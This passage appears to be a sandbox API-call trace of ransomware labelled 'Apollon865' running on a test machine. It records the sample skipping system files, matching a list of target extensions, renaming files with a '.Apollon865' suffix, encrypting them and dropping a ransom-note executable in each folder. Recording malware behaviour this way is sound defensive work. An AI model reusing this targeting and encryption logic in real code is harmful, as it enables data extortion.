	[0044.546] lstrlenW (lpString="updates") returned 7
	[0044.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml") returned 94
	[0044.546] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="updates" | out: lpString1="updates") returned="updates"
	[0044.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599d28
	[0044.546] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.546] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates.xml", cAlternateFileName="")) returned 1
	[0044.546] lstrcmpiW (lpString1="updates.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.546] lstrcmpiW (lpString1="updates.xml", lpString2="Apollon865.txt.exe") returned 1
	[0044.546] lstrcmpiW (lpString1="updates.xml", lpString2=".") returned 1
	[0044.546] lstrcmpiW (lpString1="updates.xml", lpString2="..") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="windows") returned -1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="bootmgr") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="temp") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="pagefile.sys") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="boot") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="ids.txt") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="ntuser.dat") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="perflogs") returned 1
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2="MSBuild") returned 1
	[0044.547] lstrlenW (lpString="updates.xml") returned 11
	[0044.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned 84
	[0044.547] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="updates.xml" | out: lpString1="updates.xml") returned="updates.xml"
	[0044.547] lstrlenW (lpString="updates.xml") returned 11
	[0044.547] lstrlenW (lpString="Apollon865") returned 10
	[0044.547] lstrcmpiW (lpString1="pdates.xml", lpString2="Apollon865") returned 1
	[0044.547] lstrlenW (lpString=".dll") returned 4
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2=".dll") returned 1
	[0044.547] lstrlenW (lpString=".lnk") returned 4
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2=".lnk") returned 1
	[0044.547] lstrlenW (lpString=".ini") returned 4
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2=".ini") returned 1
	[0044.547] lstrlenW (lpString=".sys") returned 4
	[0044.547] lstrcmpiW (lpString1="updates.xml", lpString2=".sys") returned 1
	[0044.547] lstrlenW (lpString="updates.xml") returned 11
	[0044.547] lstrlenW (lpString="bak") returned 3
	[0044.547] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0044.547] lstrlenW (lpString="ba_") returned 3
	[0044.547] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0044.547] lstrlenW (lpString="dbb") returned 3
	[0044.547] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0044.547] lstrlenW (lpString="vmdk") returned 4
	[0044.547] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0044.547] lstrlenW (lpString="rar") returned 3
	[0044.547] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0044.547] lstrlenW (lpString="zip") returned 3
	[0044.547] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0044.548] lstrlenW (lpString="tgz") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0044.548] lstrlenW (lpString="vbox") returned 4
	[0044.548] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0044.548] lstrlenW (lpString="vdi") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0044.548] lstrlenW (lpString="vhd") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0044.548] lstrlenW (lpString="vhdx") returned 4
	[0044.548] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0044.548] lstrlenW (lpString="avhd") returned 4
	[0044.548] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0044.548] lstrlenW (lpString="db") returned 2
	[0044.548] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0044.548] lstrlenW (lpString="db2") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0044.548] lstrlenW (lpString="db3") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0044.548] lstrlenW (lpString="dbf") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0044.548] lstrlenW (lpString="mdf") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0044.548] lstrlenW (lpString="mdb") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0044.548] lstrlenW (lpString="sql") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0044.548] lstrlenW (lpString="sqlite") returned 6
	[0044.548] lstrcmpiW (lpString1="es.xml", lpString2="sqlite") returned -1
	[0044.548] lstrlenW (lpString="sqlite3") returned 7
	[0044.548] lstrcmpiW (lpString1="tes.xml", lpString2="sqlite3") returned 1
	[0044.548] lstrlenW (lpString="sqlitedb") returned 8
	[0044.548] lstrcmpiW (lpString1="ates.xml", lpString2="sqlitedb") returned -1
	[0044.548] lstrlenW (lpString="xml") returned 3
	[0044.548] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0044.548] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.Apollon865") returned 99
	[0044.549] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.apollon865"), dwFlags=0x1) returned 1
	[0044.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0044.549] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=57) returned 1
	[0044.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0044.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0044.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0044.550] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0044.550] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.550] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.551] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x340, lpName=0x0) returned 0x150
	[0044.553] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x340) returned 0x120000
	[0044.553] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0044.554] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.554] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0044.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0044.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.555] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0044.555] CloseHandle (hObject=0x150) returned 1
	[0044.555] CloseHandle (hObject=0x15c) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0044.555] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updates.xml", cAlternateFileName="")) returned 0
	[0044.555] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.555] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.555] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates"
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0044.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned 84
	[0044.555] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates"
	[0044.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32a24af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.560] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.560] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32a24af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.560] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="Apollon865.txt.exe") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2=".") returned 1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="..") returned 1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="windows") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="bootmgr") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="temp") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="pagefile.sys") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="boot") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="ids.txt") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="ntuser.dat") returned -1
	[0044.560] lstrcmpiW (lpString1="0", lpString2="perflogs") returned -1
	[0044.561] lstrcmpiW (lpString1="0", lpString2="MSBuild") returned -1
	[0044.561] lstrlenW (lpString="0") returned 1
	[0044.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*") returned 86
	[0044.561] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="0" | out: lpString1="0") returned="0"
	[0044.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x599d28
	[0044.561] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.561] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32a24af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.561] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.561] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32a24af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.561] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.561] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.561] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0"
	[0044.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0044.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned 86
	[0044.561] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0"
	[0044.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.565] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32a24af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.565] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.565] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.565] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.565] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32a24af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.565] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.565] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.565] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.566] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.566] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32a24af0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32a24af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.566] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.566] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x818016b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x927c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="update.mar", cAlternateFileName="")) returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="Apollon865.txt.exe") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2=".") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="..") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="windows") returned -1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="bootmgr") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="temp") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="pagefile.sys") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="boot") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="ids.txt") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="ntuser.dat") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="perflogs") returned 1
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2="MSBuild") returned 1
	[0044.566] lstrlenW (lpString="update.mar") returned 10
	[0044.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*") returned 88
	[0044.566] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="update.mar" | out: lpString1="update.mar") returned="update.mar"
	[0044.566] lstrlenW (lpString="update.mar") returned 10
	[0044.566] lstrlenW (lpString="Apollon865") returned 10
	[0044.566] lstrlenW (lpString=".dll") returned 4
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2=".dll") returned 1
	[0044.566] lstrlenW (lpString=".lnk") returned 4
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2=".lnk") returned 1
	[0044.566] lstrlenW (lpString=".ini") returned 4
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2=".ini") returned 1
	[0044.566] lstrlenW (lpString=".sys") returned 4
	[0044.566] lstrcmpiW (lpString1="update.mar", lpString2=".sys") returned 1
	[0044.566] lstrlenW (lpString="update.mar") returned 10
	[0044.566] lstrlenW (lpString="bak") returned 3
	[0044.566] lstrcmpiW (lpString1="mar", lpString2="bak") returned 1
	[0044.566] lstrlenW (lpString="ba_") returned 3
	[0044.566] lstrcmpiW (lpString1="mar", lpString2="ba_") returned 1
	[0044.567] lstrlenW (lpString="dbb") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="dbb") returned 1
	[0044.567] lstrlenW (lpString="vmdk") returned 4
	[0044.567] lstrcmpiW (lpString1=".mar", lpString2="vmdk") returned -1
	[0044.567] lstrlenW (lpString="rar") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="rar") returned -1
	[0044.567] lstrlenW (lpString="zip") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="zip") returned -1
	[0044.567] lstrlenW (lpString="tgz") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="tgz") returned -1
	[0044.567] lstrlenW (lpString="vbox") returned 4
	[0044.567] lstrcmpiW (lpString1=".mar", lpString2="vbox") returned -1
	[0044.567] lstrlenW (lpString="vdi") returned 3
	[0044.567] lstrcmpiW (lpString1="mar", lpString2="vdi") returned -1
	[0044.567] lstrlenW (lpString="vhd") returned 3
